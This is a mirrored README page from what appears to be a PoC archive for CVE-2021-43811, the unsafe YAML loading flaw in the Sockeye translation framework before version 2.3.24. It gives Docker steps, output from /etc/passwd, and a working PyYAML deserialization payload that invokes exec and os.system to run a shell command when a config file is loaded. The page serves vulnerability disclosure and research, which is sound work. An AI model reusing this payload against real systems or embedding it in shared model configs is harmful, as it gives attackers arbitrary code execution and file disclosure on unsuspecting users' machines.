Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2021-43811 PoC — Code injection via unsafe YAML loading

Source
Associated Vulnerability
Title:Code injection via unsafe YAML loading (CVE-2021-43811)
Description:Sockeye is an open-source sequence-to-sequence framework for Neural Machine Translation built on PyTorch. Sockeye uses YAML to store model and data configurations on disk. Versions below 2.3.24 use unsafe YAML loading, which can be made to execute arbitrary code embedded in config files. An attacker can add malicious code to the config file of a trained model and attempt to convince users to download and run it. If users run the model, the embedded code will run locally. The issue is fixed in version 2.3.24.
Description
awslabs/sockeye Code injection via unsafe YAML loading CVE-2021-43811
Readme
# CVE-2021-43811
awslabs/sockeye Code injection via unsafe YAML loading CVE-2021-43811

## NVD Description

Sockeye is an open-source sequence-to-sequence framework for Neural Machine Translation built on PyTorch. Sockeye uses YAML to store model and data configurations on disk. Versions below 2.3.24 use unsafe YAML loading, which can be made to execute arbitrary code embedded in config files. An attacker can add malicious code to the config file of a trained model and attempt to convince users to download and run it. If users run the model, the embedded code will run locally. The issue is fixed in version 2.3.24.

## Demo

![cve-2021-43811](https://user-images.githubusercontent.com/56715563/185784647-fc6a885c-3032-487a-aa4f-f1535b669294.gif)


## Set Up

1. Build an image from a Dockerfile

```
docker build -t cve-2021-43811 .
```

2. Run python main.py in a new container

```
docker run -it --rm cve-2021-43811
```

output /etc/passwd
```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
-- snip --
```

![output-image](https://user-images.githubusercontent.com/56715563/185784247-d765d388-053c-4784-8c98-65401384f3c2.png)

## PoC Payload

malicious.yml
```
!!python/object/new:type
args: ['z', !!python/tuple [], {'extend': !!python/name:exec }]
listitems: "__import__('os').system('cat /etc/passwd')"
```

## Reference

- https://github.com/awslabs/sockeye/security/advisories/GHSA-ggmr-44cv-24pm
File Snapshot

[4.0K] /data/pocs/5a608ff880e6341f455144da2e8437b6ce9e5ff2 ├── [ 120] Dockerfile ├── [1.0K] LICENSE ├── [ 73] main.py ├── [ 144] malicious.yml └── [1.4K] README.md 0 directories, 5 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →